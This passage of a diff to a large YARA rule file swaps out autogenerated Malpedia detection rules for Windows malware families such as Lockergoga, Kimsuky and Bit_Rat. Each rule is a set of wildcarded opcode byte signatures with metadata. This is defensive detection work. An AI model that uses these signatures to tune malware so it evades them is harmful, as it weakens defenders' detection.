$sequence_9 = { e8???????? 8985d0feffff e9???????? 8b8dd4feffff 51 ff15???????? 8be5 } condition: - 7 of them and filesize < 1245184 + 7 of them and filesize < 59392 } -rule MALPEDIA_Win_Lockergoga_Auto : FILE +rule MALPEDIA_Win_Hawkball_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "c3b2e831-52cd-5711-8143-4c283c706434" + id = "233d17b2-2f85-5e81-980e-94af1bd07bc8" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lockergoga" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lockergoga_auto.yar#L1-L133" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hawkball" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.hawkball_auto.yar#L1-L128" license_url = "N/A" - logic_hash = "679ed446af7bd76c538308594efebe8a71cc5f0a66dc5648e19b704e8ba83810" + logic_hash = "9b3366bae76271a5cf9e32b5f0daa7b3fc0e06cb94c8f54801829ffbaa6e0521" score = 75 quality = 75 tags = "FILE" @@ -86598,32 +86631,32 @@ rule MALPEDIA_Win_Lockergoga_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? 83c718 83c618 897dec 3bf3 75eb 8bc7 } - $sequence_1 = { 84c0 7405 8b7608 eb4e 8b8564ffffff 80780d00 743a } - $sequence_2 = { c645fc1b e8???????? 8d4db4 c645fc0e e8???????? 8b4d9c 8b06 } - $sequence_3 = { 56 83c0c8 50 e8???????? 837d9000 c745a800000000 0f8691000000 } - $sequence_4 = { 57 8d4d9c e8???????? 8b7da0 8b45cc c645fc0b } - $sequence_5 = { 8365ec00 ff75ec e8???????? 59 0fb6c0 85c0 7408 } - $sequence_6 = { 51 50 e8???????? 8b45ec 83c408 c7461000000000 c746140f000000 } - $sequence_7 = { 895108 50 8bce e8???????? 8b560c 8d4508 50 } - $sequence_8 = { 6a08 8975ec c7450800000000 c70600000000 c7460400000000 c7460800000000 c7460c00000000 } - $sequence_9 = { 8b4da0 c6400100 8808 e9???????? b8ffffff7f 2bc1 83f801 } + $sequence_0 = { ff15???????? 50 53 6a00 68e9fd0000 } + $sequence_1 = { c3 6a59 ff15???????? 85c0 0f84b4000000 be???????? 8bc6 } + $sequence_2 = { 56 8b7508 833e00 7f0a be04000000 e9???????? } + $sequence_3 = { ff75f8 c745fc00000000 ffd6 8b45fc 8b1d???????? 40 50 } + $sequence_4 = { 56 f30f7f4588 57 660f6f05???????? 8b3d???????? f30f7f4598 } + $sequence_5 = { 50 668945dc 0f57c0 668985acf7ffff 8d85aef7ffff 50 c745d801000000 } + $sequence_6 = { ff15???????? 8b4309 83f801 751c 8b5508 8d85f8fdffff 50 } + $sequence_7 = { 85c0 741e 8d85fcfeffff 68???????? 50 e8???????? } + $sequence_8 = { ffd6 50 ffd3 ff0d???????? 33c0 5f } + $sequence_9 = { 6a08 ffd3 50 ff15???????? 8bf0 8d8578ffffff 50 } condition: - 7 of them and filesize < 2588672 + 7 of them and filesize < 229376 } -rule MALPEDIA_Win_Medusa_Auto : FILE +rule MALPEDIA_Win_Miuref_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "d20a8f8a-0c40-56df-b905-5b8d6ebe61b2" + id = "1b96c0a2-4f7f-5dba-b4cc-c39446b366ca" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.medusa" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.medusa_auto.yar#L1-L120" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.miuref" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.miuref_auto.yar#L1-L131" license_url = "N/A" - logic_hash = "bf22f346b79f830cfb557e80bea02849fba4fc00ac522de893ed484b5992cd17" + logic_hash = "9f0c33a604555481ceaef6b71f9838cb9fae83fec546a9a4bdc6479d8cf9ac8a" score = 75 quality = 75 tags = "FILE" @@ -86637,32 +86670,32 @@ rule MALPEDIA_Win_Medusa_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e1fb 1cc9 3ca5 2c8e a1???????? d528 } - $sequence_1 = { ff7100 52 ff7200 53 ff7300 54 } - $sequence_2 = { 6a00 4b ff6b00 4c ff6c004d ff6d00 4e } - $sequence_3 = { 0050ff 7000 51 ff7100 } - $sequence_4 = { 53 ff7300 54 ff740055 ff7500 56 } - $sequence_5 = { 8b4c6386 8608 5f e1fb 1cc9 3ca5 2c8e } - $sequence_6 = { 0c48 b5f9 43 324dd5 1ddf859f31 } - $sequence_7 = { 0000 aa 05854cffab 004893 } - $sequence_8 = { 05854cffab 004893 3eb35b 813bf80937dc 8b4c6386 } - $sequence_9 = { 1cc9 3ca5 2c8e a1???????? d528 32f4 } + $sequence_0 = { 8b750c 81fe00020000 7204 33c0 eb73 53 bb00200000 } + $sequence_1 = { e8???????? 59 b9???????? 3b01 7445 83c104 81f9???????? } + $sequence_2 = { 50 ff742418 e8???????? ff742420 8bf0 56 e8???????? } + $sequence_3 = { 8d45a8 83ec58 50 e8???????? ff7510 8d45a8 ff750c } + $sequence_4 = { 8d45cc 50 ff15???????? 8b45fc 8b08 50 ff9180000000 } + $sequence_5 = { e8???????? ff75f4 e8???????? 8b45e8 83c418 } + $sequence_6 = { 7704 50 51 eb27 837d1400 750c 57 } + $sequence_7 = { 3bc3 7320 894508 8b450c 8b4d08 8d4c08c1 56 } + $sequence_8 = { e8???????? 59 6a00 8bf0 8d45fc 50 57 } + $sequence_9 = { e8???????? 53 e8???????? 33f6 56 e8???????? } condition: - 7 of them and filesize < 1720320 + 7 of them and filesize < 180224 } -rule MALPEDIA_Win_Mocton_Auto : FILE +rule MALPEDIA_Win_Ncctrojan_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "9f4f983b-9c6b-508d-9490-50b17ee1d0df" + id = "621539aa-975e-51db-993a-fe0f56fb0b46" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mocton" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mocton_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ncctrojan" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ncctrojan_auto.yar#L1-L164" license_url = "N/A" - logic_hash = "16b135f602d0bf1d0d71eee14e2cd809b4b69481edc54d1e4a70e6527694874b" + logic_hash = "1a1a856a6ccef6fe3d5ce45ce3caa49b1b9096f7072cb08e6fd3fa9a04b80075" score = 75 quality = 75 tags = "FILE" @@ -86676,32 +86709,38 @@ rule MALPEDIA_Win_Mocton_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b4d10 e8???????? 8985e4e8ffff 8b85e4e8ffff 2b45a4 3b45dc 7202 } - $sequence_1 = { 83e801 8945d4 8b4dd4 0faf4de8 8b55e4 c1fa05 69d271460389 } - $sequence_2 = { 8b9524fcffff 69d2a44539db 33c0 81fa35ac0e36 0f9cc0 355ba30c98 7461 } - $sequence_3 = { 2b45e4 33c9 3d6b76f951 0f9dc1 33d1 742c 8b55e4 } - $sequence_4 = { 8b95c8e9ffff 83c201 8995c8e9ffff eb4e 8b85c0e9ffff 83e801 8985c0e9ffff } - $sequence_5 = { 83c104 894df8 8b55f8 3b55cc 0f8475060000 c745ac5aee3273 8b45ac } - $sequence_6 = { c745c842fc81f2 c7459cea0bbd91 c745b0238aa931 8b55c8 c1fa03 0faf55b0 b886628d96 } - $sequence_7 = { 898d70feffff 8b9570feffff 81c28029ab41 33c0 399570feffff 0f9dc0 338570feffff } - $sequence_8 = { 0355e4 8b45e4 d1f8 33c9 3b45e4 0f9ec1 33ca } - $sequence_9 = { 33d2 3b8d8cfdffff 0f9cc2 81e2d70a7b03 81f21da6f69d 7419 8b854cfdffff } + $sequence_0 = { 83f805 7536 8b85e8feffff 85c0 750a } + $sequence_1 = { 68???????? e9???????? 83f801 750a 68???????? } + $sequence_2 = { 750a 68???????? e9???????? 83f802 } + $sequence_3 = { d1f9 8d4101 50 e8???????? 8b542410 83c404 8bca } + $sequence_4 = { 50 e8???????? 8d45f4 50 8d85e8adffff } + $sequence_5 = { c785ccbdffff00000000 668985dcbdffff 8d85ecfdffff 8985d4bdffff } + $sequence_6 = { 85d2 0f8407010000 83faff 0f84fe000000 33c0 85d2 } + $sequence_7 = { e8???????? 68???????? 6a20 68???????? e8???????? 83c418 e8???????? } + $sequence_8 = { 0f99c0 8d044501000000 5e 5d c3 3b0d???????? } + $sequence_9 = { 03c1 50 51 ff7304 } + $sequence_10 = { 837dec08 8d45d8 0f4345d8 83ec18 } + $sequence_11 = { 8965f0 6a01 8945ec 40 6a00 } + $sequence_12 = { 7e6f 8945c8 8b400c 8b7004 } + $sequence_13 = { 0f437d08 ff15???????? 50 56 } + $sequence_14 = { 50 51 8d4d08 e8???????? 56 8985c8feffff 8d4d08 } + $sequence_15 = { 02c9 2480 7403 80f11b 83ea01 } condition: - 7 of them and filesize < 573440 + 7 of them and filesize < 1160192 } -rule MALPEDIA_Win_Nexster_Bot_Auto : FILE +rule MALPEDIA_Win_Badhatch_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "a43d5074-419f-56bf-9041-ecb4085c5c0f" + id = "d1d3a6d7-0b13-5342-b91c-01db9308bc68" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nexster_bot" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nexster_bot_auto.yar#L1-L119" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.badhatch" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.badhatch_auto.yar#L1-L131" license_url = "N/A" - logic_hash = "030c2bb9e4dedc4e668df50b31810c5f051c7ed3a34092c75978caae787f72df" + logic_hash = "2f3c78bf8e633b7d8699c41a378230a8ee0e51bf5f6dea1277813531be01c065" score = 75 quality = 75 tags = "FILE" @@ -86715,34 +86754,34 @@ rule MALPEDIA_Win_Nexster_Bot_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8a4701 47 84c0 75f8 8b0d???????? 8d84240c010000 } - $sequence_1 = { 6a00 8908 668b0d???????? 6a00 895004 68000000c0 } - $sequence_2 = { 42 3acb 75f6 8dbd00080000 8db5000c0000 e8???????? } - $sequence_3 = { e8???????? 8b54241c 68???????? 8bf0 52 8d44241c 50 } - $sequence_4 = { 33c0 8da42400000000 8a1485d0604100 889405000e0000 40 83f80b } - $sequence_5 = { 8d842480000000 50 ff15???????? 8b3d???????? } - $sequence_6 = { 8d0cbd20804100 8901 8305????????20 8b11 81c200080000 } - $sequence_7 = { 85c0 0f8581000000 80bc24ae01000001 7533 8b0d???????? 8b15???????? } - $sequence_8 = { 84c0 75f6 8d85c0140000 48 } - $sequence_9 = { 75f9 8b1424 6a00 2bc1 8d4c242c } + $sequence_0 = { ff15???????? 8b3d???????? 85c0 7512 ffd7 53 } + $sequence_1 = { 83c420 5f 5e 83c574 c9 c3 55 } + $sequence_2 = { 837df800 7435 837f0c00 742f 33c0 e9???????? 8b4f08 } + $sequence_3 = { 7cb9 eb09 ff15???????? 8945fc 8b45fc 5f 5e } + $sequence_4 = { 53 ff750c 8d443750 50 e8???????? 83c40c ff750c } + $sequence_5 = { ffd6 8d45e8 50 68???????? ff7508 e8???????? } + $sequence_6 = { 7559 ff15???????? 3dea000000 754c ff75fc 56 ff35???????? } + $sequence_7 = { 03d0 03d1 52 50 e8???????? 83c40c b8ea000000 } + $sequence_8 = { 838b40010000ff 33f6 56 56 6a01 56 } + $sequence_9 = { eb05 8b450c 8938 395dfc 740e 57 53 } condition: - 7 of them and filesize < 245760 + 7 of them and filesize < 156672 } -rule MALPEDIA_Win_Fonix_Auto : FILE +rule MALPEDIA_Win_Polyglot_Ransom_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "830a78fe-5e83-5a5d-85e3-7068b4a16c64" + id = "bf3c0440-2d73-51e5-9d4d-22d8d3fb589d" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.fonix" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.fonix_auto.yar#L1-L133" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.polyglot_ransom" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.polyglot_ransom_auto.yar#L1-L133" license_url = "N/A" - logic_hash = "f38caf2a92a21c38ad3b20bd93c5f2960092d1cc56de1072c080f008b7483511" + logic_hash = "5cf22f105101e70a8b28d9346158b196300696ba529297d761e1115a7c957230" score = 75 - quality = 75 + quality = 71 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -86754,32 +86793,32 @@ rule MALPEDIA_Win_Fonix_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { a801 8b04d560b74900 8b14d564b74900 7506 83c002 83ea02 5d } - $sequence_1 = { 59 59 8b471c 89461c 8bc6 5f } - $sequence_2 = { c645fc18 8d4dc4 8bd0 c70424???????? e8???????? 59 8d8d44fcffff } - $sequence_3 = { 8b16 50 ff5220 e9???????? e8???????? 8b75ac 83c404 } - $sequence_4 = { 8985a0f8ffff 0f85c5fcffff 8b8d8cf8ffff 85c9 0f84d3000000 8b048d2cdc4900 89858cf8ffff } - $sequence_5 = { 50 8d8de0feffff e8???????? 8d8dc8feffff e8???????? 8d8db0feffff e8???????? } - $sequence_6 = { 50 c745fc01000000 ff5248 ffb578ffffff 8d4e4c e8???????? ff7620 } - $sequence_7 = { 83e3fe e8???????? 807d6700 0f8413010000 6a01 8d4dac e8???????? } - $sequence_8 = { 8b45fc 0580000000 c5fe7f00 c5fe6f8560feffff c4e37d46458031 c5fe7f8580e5ffff c5fe6f8580e5ffff } - $sequence_9 = { 0f849c050000 6a01 8d8d50020000 e8???????? 6a01 8d4d8c c645fc0c } + $sequence_0 = { 207370 65676e 657265 2064656c 20636f 6d 7075 } + $sequence_1 = { 6a05 68f3000000 8d45e4 68???????? 50 e8???????? 83c434 } + $sequence_2 = { 8d8508faffff 68???????? 50 e8???????? 8d8508f2ffff 50 8d8508faffff } + $sequence_3 = { 740a c783ac00000007000000 39bb1c010100 7708 39bb18010100 7666 39bb20010100 } + $sequence_4 = { 8365e800 8365ec00 837dfc00 7522 837d0800 740e 8b7d08 } + $sequence_5 = { 50 8d8538d9ffff 50 e8???????? 8bc3 50 8d8538d9ffff } + $sequence_6 = { e8???????? 8d4564 50 8d45ec 50 e8???????? } + $sequence_7 = { 7970 7428 293b 223e 44 657363 69667261723c2f } + $sequence_8 = { 807b1d00 8d45e8 50 7445 ff7308 8365e800 680a202600 } + $sequence_9 = { c3 85f6 7504 6a9a 58 c3 8b8608010000 } condition: - 7 of them and filesize < 2226176 + 7 of them and filesize < 1392640 } -rule MALPEDIA_Win_Ice_Ix_Auto : FILE +rule MALPEDIA_Win_Wipbot_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "923bfba5-fc64-5bcc-9e18-fd2e69647e54" + id = "9a0970f9-ec33-54d5-ae53-9537a083afd7" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ice_ix" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ice_ix_auto.yar#L1-L125" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.wipbot" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.wipbot_auto.yar#L1-L123" license_url = "N/A" - logic_hash = "88c417db4270d272cced0c61349b1fd36aad8c36a3945176ae9dc99a2eba0afc" + logic_hash = "fb932c7b46d7c186e09cb261140c60f0fb4b0c9205bd0105a6b5687477b202b2" score = 75 quality = 75 tags = "FILE" @@ -86793,32 +86832,32 @@ rule MALPEDIA_Win_Ice_Ix_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? 56 6a47 8945f0 } - $sequence_1 = { 8db508ffffff 58 e8???????? 6a63 8d7598 58 e8???????? } - $sequence_2 = { 6a08 6a00 8d45f4 50 e8???????? 8db5d8feffff b89b000000 } - $sequence_3 = { 6a2d 58 e8???????? ff75d0 ff15???????? } - $sequence_4 = { 85ff 0f8403020000 8a1408 80fa0d } - $sequence_5 = { 833d????????04 8b7c2414 1bc0 f7d8 68cc000000 83c034 e8???????? } - $sequence_6 = { 6a3f 8d75b8 58 e8???????? 8b4df4 8bc6 50 } - $sequence_7 = { c20400 55 8bec 83ec20 56 6a5c } - $sequence_8 = { 741d 48 7416 83e80b 740d 83e805 7404 } - $sequence_9 = { 57 ff15???????? 8b4640 3bc3 0f84a8000000 6800000010 68254e0000 } + $sequence_0 = { 48 89cb 48 89d6 b98855514f ba4656f1f6 e8???????? } + $sequence_1 = { c744241400000000 c744241800000000 8974240c 89542410 c74424080a000000 890424 } + $sequence_2 = { 48 01cb 66813b9090 0f8404040000 bace2cfb69 b98855514f } + $sequence_3 = { 85c0 48 8907 74a0 48 83c708 48 } + $sequence_4 = { c744240400000000 893424 89442408 ffd7 } + $sequence_5 = { ba2e9fd298 b98855514f e8???????? 49 } + $sequence_6 = { 89e5 e8???????? 85c0 7405 8b4034 eb02 } + $sequence_7 = { 41 b901000000 ba01000000 4c 8d442468 48 8d4c246c } + $sequence_8 = { 740d 8b45f4 e8???????? e9???????? 89d8 e8???????? 85c0 } + $sequence_9 = { 48 8b442428 eb02 31c0 48 } condition: - 7 of them and filesize < 327680 + 7 of them and filesize < 253952 } -rule MALPEDIA_Win_Navrat_Auto : FILE +rule MALPEDIA_Win_Kikothac_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "0af75ae7-7ace-560b-b2d7-c19b71f71863" + id = "3a1785b6-f597-5e86-8c4e-a3c4c36845cf" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.navrat" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.navrat_auto.yar#L1-L114" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kikothac" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.kikothac_auto.yar#L1-L123" license_url = "N/A" - logic_hash = "ae93408812c109848736690d96b263c956c354ad0be060f7ff964bd9ca44b655" + logic_hash = "783b1a1a8c3b3dc323ec01428cfa46b90f3abf925fa4bb401d1a6455aac8c5f6" score = 75 quality = 75 tags = "FILE" @@ -86832,34 +86871,34 @@ rule MALPEDIA_Win_Navrat_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { c1e610 0bf0 56 e8???????? } - $sequence_1 = { 7707 0fbec0 83e847 c3 8d48d0 80f909 } - $sequence_2 = { 1bf6 f7de 56 68???????? e8???????? } - $sequence_3 = { 8d48bf 80f919 7707 0fbec0 83e841 } - $sequence_4 = { 8d85a4feffff 50 6801000080 ff15???????? } - $sequence_5 = { 56 50 57 a3???????? ff15???????? 57 ff15???????? } - $sequence_6 = { 0fbec0 83e847 c3 8d48d0 80f909 7707 } - $sequence_7 = { 7503 884702 85f6 7407 8b7608 } - $sequence_8 = { fec8 2440 fec8 c3 } - $sequence_9 = { 884702 85f6 7407 8b7608 } + $sequence_0 = { 668945de e8???????? 83f8ff 0f84c2000000 803d????????00 } + $sequence_1 = { 80ce63 3485 80f601 041b 660fbdd0 } + $sequence_2 = { 8b140e 52 8d5dfc e8???????? 83c404 84c0 7509 } + $sequence_3 = { 57 8bc2 c1f805 8b0485c0514100 8bfa 83e71f } + $sequence_4 = { 660fbae309 8a46ff c1da07 f6c3a7 28d8 51 } + $sequence_5 = { 5b 8b7708 8b7f04 84c0 751a e8???????? 84c0 } + $sequence_6 = { f5 f6d8 9c 28c3 f9 } + $sequence_7 = { 8b4df4 03c2 668b55f8 8908 8a4dfa 66895004 884806 } + $sequence_8 = { c64424080e 50 38c6 98 } + $sequence_9 = { 660fb6f3 8db30307ad85 c744244800000000 8db7ec8bddf1 8b742474 9c ff3424 } condition: - 7 of them and filesize < 352256 + 7 of them and filesize < 581632 } -rule MALPEDIA_Win_Kimsuky_Auto : FILE +rule MALPEDIA_Win_Deputy_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "2b35147a-6567-5a82-9763-3c4ee63e8bd0" + id = "5f636daa-92f3-5297-9096-cf07f3905b0c" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kimsuky" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.kimsuky_auto.yar#L1-L287" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.deputy" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.deputy_auto.yar#L1-L120" license_url = "N/A" - logic_hash = "8be5626e2aa4b8842ccf79ecee20f7ed9aeff1f3bf60d56bf491e7076e9910d9" + logic_hash = "ca97585f0db258f9fdf08cb077c29b43b172f7ef4964d85d883e4007934393d7" score = 75 - quality = 73 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -86871,53 +86910,32 @@ rule MALPEDIA_Win_Kimsuky_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8d85f8feffff 6804010000 50 e8???????? 8d85f0fcffff } - $sequence_1 = { ffd7 a3???????? 8d85ecfbffff 50 53 ffd7 } - $sequence_2 = { 6a00 6800f70484 6a00 6a00 68???????? 8d85e4fbffff 50 } - $sequence_3 = { ff15???????? 3db7000000 7503 56 eb18 6a00 } - $sequence_4 = { 8d95f0fcffff b9???????? e8???????? 8d95ecfbffff b9???????? } - $sequence_5 = { ff15???????? 8d85ecfbffff 50 8d85f8feffff 50 8d85f4fdffff 68???????? } - $sequence_6 = { e8???????? 83c418 8d85f8feffff 6a00 50 ff15???????? 8d85ecfbffff } - $sequence_7 = { ff15???????? 85c0 7516 ff15???????? 8bd8 e8???????? } - $sequence_8 = { ffd7 a3???????? 8d85d4f5ffff 50 } - $sequence_9 = { 8b4520 4883c514 85c0 0f857affffff 4c8b7c2460 4c8b6c2420 4c8b642428 } - $sequence_10 = { 4156 4157 4883ec40 48896c2470 } - $sequence_11 = { 48896c2460 488b4818 41bb01000000 4c8b7120 4d85f6 } - $sequence_12 = { 33d2 4883c9ff 4903de ff542468 4533c0 498bce } - $sequence_13 = { 488b6c2460 4c637d3c 33c9 41b800300000 4c03fd 448d4940 } - $sequence_14 = { 48896c2470 4889742438 4533ff 4c89642428 4c896c2420 33f6 } - $sequence_15 = { 7405 48ffcd ebdb 65488b042560000000 48897c2430 48896c2460 } - $sequence_16 = { 85c9 0f8494020000 89bda0000000 897d30 } - $sequence_17 = { 89442450 8bf0 8bc8 e8???????? } - $sequence_18 = { 85c0 0f84b3000000 85f6 0f8497000000 } - $sequence_19 = { 85c0 0f84e6000000 c6850801000000 33c0 } - $sequence_20 = { 4c89642430 c744242880000000 c744242002000000 4533c9 4533c0 ba00000040 } - $sequence_21 = { 8bcf 85c0 0f94c1 85c9 } - $sequence_22 = { 488d8a38000000 e9???????? 488d8a28010000 e9???????? } - $sequence_23 = { 895c2458 eb04 8b5c2458 c685700d000000 33d2 } - $sequence_24 = { 8bd7 3bd8 0f94c2 85d2 7419 } - $sequence_25 = { 488d95003e0000 488bc8 e8???????? 90 } - $sequence_26 = { 488d9510010000 488d4dc0 e8???????? 90 } - $sequence_27 = { 488d9510010000 498bce ff15???????? 498bce } - $sequence_28 = { 488d9500010000 4883bd1801000008 480f439500010000 4c8d05c2850500 } - $sequence_29 = { 488d9424c0000000 4883bc24d800000008 480f439424c0000000 48895c2438 c744243000f70484 48895c2428 } - $sequence_30 = { 488d9508010000 488d4c2440 e8???????? 90 488b542458 } + $sequence_0 = { 57 6808020000 50 8d85e4f9ffff 50 e8???????? 83c40c } + $sequence_1 = { 58 6bc000 c780ac40001002000000 6a04 } + $sequence_2 = { 8d0436 50 6a00 57 8985ccf9ffff e8???????? } + $sequence_3 = { ff15???????? eb6c 56 57 } + $sequence_4 = { 50 ff510c 85c0 0f85b0030000 } + $sequence_5 = { 8d85d0f9ffff 50 68???????? 68???????? ff15???????? 85c0 } + $sequence_6 = { 59 c3 e8???????? 85c0 0f843f070000 } + $sequence_7 = { 0f1005???????? 66a1???????? 2bca d1f9 0f11844df4fdffff 6689844d04feffff 85db } + $sequence_8 = { e8???????? 83c40c 8d85ecfbffff 6804010000 50 ff35???????? } + $sequence_9 = { ffb5c8f9ffff 8bd8 8d85e0f9ffff ffb5ccf9ffff 56 53 50 } condition: - 7 of them and filesize < 1021952 + 7 of them and filesize < 51200 } -rule MALPEDIA_Win_Grillmark_Auto : FILE +rule MALPEDIA_Win_Bit_Rat_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "94d64c09-2c69-5952-977d-9716f3cb3003" + id = "f95bf2c0-1a3f-5ba6-86c1-dc6657e9fb49" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.grillmark" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.grillmark_auto.yar#L1-L127" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bit_rat" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bit_rat_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "c6ddc22f686e3bfc93b0245e1ab65f2459e27d4cb969cb323a24bb3baf4cbe5c" + logic_hash = "6a75a2a36ee1576648e5cd3e08166671639be750c77ff100be6cd8e32ca1f573" score = 75 quality = 75 tags = "FILE" @@ -86931,32 +86949,32 @@ rule MALPEDIA_Win_Grillmark_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ff15???????? 8d4df4 56 51 53 50 57 } - $sequence_1 = { 6800000080 ff7510 ff15???????? 8bf8 83ffff 7436 53 } - $sequence_2 = { f3ab 66ab aa 8d458c 895df8 50 895df4 } - $sequence_3 = { 83ffff 7504 33c0 eb1a } - $sequence_4 = { 66a5 a4 5f 33c0 3905???????? 5e 50 } - $sequence_5 = { 57 e8???????? 8d85f4fcffff 50 57 } - $sequence_6 = { ff15???????? 6a40 33c0 59 8dbdfdfeffff 889dfcfeffff 53 } - $sequence_7 = { 66ab aa 8d85fcfeffff 50 6804010000 e8???????? } - $sequence_8 = { 50 57 ffb604010000 56 e8???????? 83c410 85c0 } - $sequence_9 = { 6a01 ff7508 e8???????? 56 e8???????? ff75f4 } + $sequence_0 = { eb1b 8b4de0 8b5ddc 8b7df8 8b45f4 eba7 8b4510 } + $sequence_1 = { e8???????? 8b4f0c 83c404 3b01 740e 6a00 6a00 } + $sequence_2 = { e8???????? c645fc42 50 8bce e8???????? c645fc24 53 } + $sequence_3 = { 85ed 7460 895c2410 8bd3 8bce 85f6 7454 } + $sequence_4 = { e9???????? 83f85b 751b 8bce e8???????? 8bce e8???????? } + $sequence_5 = { e8???????? 8b4c240c 83c404 83f903 751b 6a00 6a00 } + $sequence_6 = { ff7618 8bd7 e8???????? 8bd8 83c408 8bc2 8bcb } + $sequence_7 = { ff75ec ff75e8 ff75fc ff75f8 ff7514 53 eb2a } + $sequence_8 = { c3 8bff 55 8bec 5d e9???????? 6a00 } + $sequence_9 = { ffb674040000 e8???????? 8bf8 83c408 85ff 0f8595000000 50 } condition: - 7 of them and filesize < 212992 + 7 of them and filesize < 19405824 } -rule MALPEDIA_Win_Betabot_Auto : FILE +rule MALPEDIA_Win_Yibackdoor_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "dcaf48d4-507f-5b26-9a58-f3ffaf812c78" + id = "bd826b97-b05e-574c-adcf-8cef34bea245" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.betabot" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.betabot_auto.yar#L1-L132" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.yibackdoor" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.yibackdoor_auto.yar#L1-L131" license_url = 